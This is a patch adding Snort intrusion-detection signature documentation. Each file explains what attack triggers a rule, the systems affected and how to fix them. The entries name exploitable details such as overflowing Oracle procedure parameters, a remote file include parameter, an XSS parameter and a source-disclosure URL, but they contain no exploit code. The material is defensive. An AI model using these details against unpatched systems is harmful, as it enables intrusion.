+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "contact.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1764.txt
+++ snort-2.8.5.2/doc/signatures/1764.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1764
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2568.txt
+++ snort-2.8.5.2/doc/signatures/2568.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2568
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2642.txt
+++ snort-2.8.5.2/doc/signatures/2642.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2642
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_site_instantiate" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "refresh_template_name"
+variable to cause the overflow. The result could permit the attacker
+to gain escalated privileges and run code of their choosing. This
+attack requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck629.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1810.txt
+++ snort-2.8.5.2/doc/signatures/1810.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+
+1810
+
+--
+Summary:
+This event is generated when an attack against an OpenSSH (v2.9 - 3.3) server using the GOBBLES exploit was successful.
+
+--
+Impact:
+Full system compromise with escalated privileges.
+
+--
+Detailed Information:
+This attack exploits the "remote challenge-response" vulnerability in older versions of OpenSSH servers. The vulnerability affects OpenSSH versions 2.9 through 3.3 that have the challenge response option enabled and that also use SKEY or BSD_AUTH authentication. 
+
+--
+Affected Systems:
+Any UNIX Servers that have vulnerable OpenSSH daemon running including but not limited to the following:
+	Mandrake Soft Linux 7.1, 7.2, 8.0, 8.1, 8.2
+	OpenBSD 3.0, 3.1
+	Red Hat Linux 7.0, 7.1, 7.2, 7.3
+	SuSe Linux 6.4, 7.0, 7.1, 7.2, 7.3
+
+--
+Attack Scenarios:
+An attacker first determines what version of OpenSSH the targeted machine is running then launches a publicly available GOBBLES exploit script against it.
+
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable S/Key and BSD Authentication by modifying the sshd_config file
+
+	ChallengeResponseAuthentication no
+
+Upgrade to OpenSSH v3.4 or later
+
+Apply the appropriate vendor supplied patch.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-18.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1579.txt
+++ snort-2.8.5.2/doc/signatures/1579.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1579
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2379.txt
+++ snort-2.8.5.2/doc/signatures/2379.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2379
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1288.txt
+++ snort-2.8.5.2/doc/signatures/1288.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1288
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion. In particular this rule generates events when the directory
+_vti_bin is accessed. This directory contains sensitive files that may
+be utilized in an attack against the server.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+A user who is using the "discuss" toolbar in Microsoft Internet Explorer
+may inadvertently generate an event from this rule, due to the browser
+making a check for Office Server Extensions. See this URI for more
+details.
+
+ http://www.webmasterworld.com/forum39/2158.htm
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2370.txt
+++ snort-2.8.5.2/doc/signatures/2370.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2370
+
+--
+Summary:
+This event is generated when an attempt is made to access config.conf, a 
+component of the BugPort PHP web application running on a server.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+BugPort is a PHP application used for bug tracking purposes. It is
+possible for a remote user to view the configuration file for the
+application by making a request for the file using a web browser.
+
+--
+Affected Systems:
+	BugPort prior to version 1.099
+
+--
+Attack Scenarios:
+An attacker can view the configuration file for the server by using a
+web browser to request the file.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2673.txt
+++ snort-2.8.5.2/doc/signatures/2673.txt
@@ -0,0 +1,89 @@
+Rule:
+
+--
+Sid:
+2673
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the processing of a Portable Network Graphics (PNG) file by
+libpng.
+
+--
+Impact:
+A successful attack may cause a buffer overflow and the subsequent execution
+of arbitrary code on a vulnerable client host.
+
+--
+Detailed Information:
+A vulnerability exists in the way libpng handles the transparency chunk of
+a PNG file, enabling a buffer overflow and the subsequent execution of
+arbitrary code on a vulnerable client.  A PNG datastream consists of a PNG
+marker followed by a sequence of chunks that have a specific format and
+function.
+
+When libpng processes a PNG datastream, it expects to find chunk types
+in a particular order.  For an image with palette color type, the PLTE
+(palette) chunk must precede a tRNS (transparency) chunk.  If it does not,
+an error is generated, but decoding continues.  Due to a logic error,
+the length associated with the tRNS chunk is not properly validated.  A
+length of greater than 256 bytes can cause a buffer overflow and the
+subsequent execution of arbitrary code when the PNG image is processed.
+
+--
+Affected Systems:
+Hosts running libpng 1.2.5 and prior
+Hosts running libpng 1.0.15 and prior
+
+--
+Attack Scenarios:
+An attacker can create a malformed PNG file on a web server, entice a user
+to download it, possibly causing a buffer overflow on a vulnerable client.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+A false positive may be generated if both the PLTE and tRNS chunks of the PNG
+datastream are not found in the first 300 bytes of the returned packet.  The
+flow_depth parameter of http_inspect can be configured to increase the default
+size of the returned packet.  It should be noted that altering this from the
+default value of 300 bytes may slow performance depending on the type and volume
+of traffic found on your network.
+
+--
+False Negatives:
+An alert may not be generated if PLTE and tRNS chunks of the PNG datastream are
+not found in the first 300 bytes of the returned packet. The flow_depth
+parameter of http_inspect can be configured to increase the default size of the
+returned packet.  It should be noted that altering this from the default value
+of 300 bytes may slow performance depending on the type and volume of traffic
+found on your network.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Joe Stewart <jstewart@lurhq.com>
+Judy Novak <judy.novak@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0597
+
+Bugtraq:
+http://www.securityfocus.com/bid/10872
+
+Other:
+http://scary.beasts.org/security/CESA-2004-001.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/965.txt
+++ snort-2.8.5.2/doc/signatures/965.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+965
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	Systems using Microsoft FrontPage Server Extensions 98
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1&NoWebContent=1
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2915.txt
+++ snort-2.8.5.2/doc/signatures/2915.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2915
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure switch_snapshot_master
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1007.txt
+++ snort-2.8.5.2/doc/signatures/1007.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1007
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
+the authors or vendor and see if there is a patch or newer version.
+
+If the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000525.txt
+++ snort-2.8.5.2/doc/signatures/100000525.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000525
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "PHPMyDirectory" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "PIC" parameter in the "offer-pix.php" script 
+used by the "PHPMyDirectory" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMyDirectory
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2349.txt
+++ snort-2.8.5.2/doc/signatures/2349.txt
@@ -0,0 +1,55 @@
+Rule:  
+
+--
+Sid:
+2349
+
+--
+Summary:
+This event is generated when an attempt is made to enumerate the printer
+service on a system using DCE RPC.
+
+--
+Impact:
+Intelligence gathering.
+
+--
+Detailed Information:
+This rule checks for an attempt to enumerate a print spool service using DCE RPC. 
+This may be an attempt to check for printer and printer services available on a
+host.
+
+--
+Affected Systems:
+	All Microsoft DCE RPC enabled systems
+	
+--
+Attack Scenarios:
+An attacker may identify the print service being used and exploit that
+information in further attacks against the system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2653.txt
+++ snort-2.8.5.2/doc/signatures/2653.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2653
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in many
+useful tasks.  The "offline_og.begin_load" procedure is used for
+offline instantiation of master groups.  This procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1073.txt
+++ snort-2.8.5.2/doc/signatures/1073.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+Sid:
+1073
+
+--
+
+Summary:
+This event is generated when an attempt is made to read web application
+source code.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+The webhits.exe sample program that comes with Microsoft Index Server in IIS
+contains a vulnerability that allows the reading of web application source
+code.
+
+Sometimes web application source code contains highly sensitive information,
+such as database passwords and information concerning backend setups.  This
+could be a prelude to further attacks.
+
+--
+Affected Systems:
+	Microsoft Index Server when deployed in conjunction with Microsoft IIS.
+
+--
+Attack Scenarios:
+Attacker sends a simple URL like the following and then chooses which
+file they want to view:
+http://servername/scripts/samples/search/webhits.exe
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Remove the samples directory from the webserver.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+http://www.win2000mag.com/Articles/Index.cfm?ArticleID=475&pg=2
+
+http://secinf.net/info/www/cgi-bugs.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3398.txt
+++ snort-2.8.5.2/doc/signatures/3398.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3398
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1729.txt
+++ snort-2.8.5.2/doc/signatures/1729.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1729
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2802.txt
+++ snort-2.8.5.2/doc/signatures/2802.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2802
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure check_ddl_text
+. This procedure is included in
+dbms_repcat_rgt.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
